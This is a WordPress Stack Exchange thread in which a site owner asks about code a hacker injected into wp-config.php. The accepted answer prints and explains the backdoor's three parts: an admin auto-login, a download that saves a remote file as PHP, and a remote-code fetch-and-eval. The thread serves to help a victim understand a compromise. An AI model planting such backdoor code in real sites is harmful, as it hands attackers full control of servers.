Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

Hi I found some new code in the wp-config.php file of one of my sites, it seems to have been placed there by a hacker, anyone can explain what it does?

http://pastebin.com/fdMJCAXw

share|improve this question
add comment

1 Answer 1

up vote 6 down vote accepted

There are 3 main 'functions' of this code. The two lines check that pingnow and pass are defined and that pass is the correct value. pingnow is used later to switch between 'functions'.

The first is run if the pingnow GET variable is login. It logs in the requesting user as the 'admin' user. This won't work if there is not a user called 'admin'.

if ($_GET['pingnow']== 'login'){
  $user_login = 'admin';
  $user = get_userdatabylogin($user_login);
  $user_id = $user->ID;
  wp_set_current_user($user_id, $user_login);         
  wp_set_auth_cookie($user_id);
  do_action('wp_login', $user_login);
}

The second part allows for uploading of defined files to your server. If the pingnow variable is exec then the script downloads the file and saves it on your server with the name of a random md5 hash. It then redirects the attacker to the script.

if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  $fnm = md5(rand(0,100)).'.php';
  $fp = fopen($fnm, "w");
  curl_setopt($ch, CURLOPT_FILE, $fp);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  curl_exec($ch);
  curl_close($ch);
  fclose($fp);
  echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}

The third part allows for evaluation of remote php. It downloads a file and then evals it, running it on your server.

if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  $re = curl_exec($ch);
  curl_close($ch);
  eval($re);
}
share|improve this answer
    
Thanks for the explanation, what steps should I take to protect my site and not allow further access from this hacker? –  drtanz Feb 15 '12 at 10:56
2  
@drtanz - That would be better asked in another question. Or better yet search for this question on WPSE. There are many questions here with good answer that cover the subject of hacked WordPress installs. –  Brady Feb 15 '12 at 11:39
    
@Brady If I want to know how to improve this ↑ code, do I have to ask another Q as well? –  kaiser Feb 15 '12 at 12:56
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.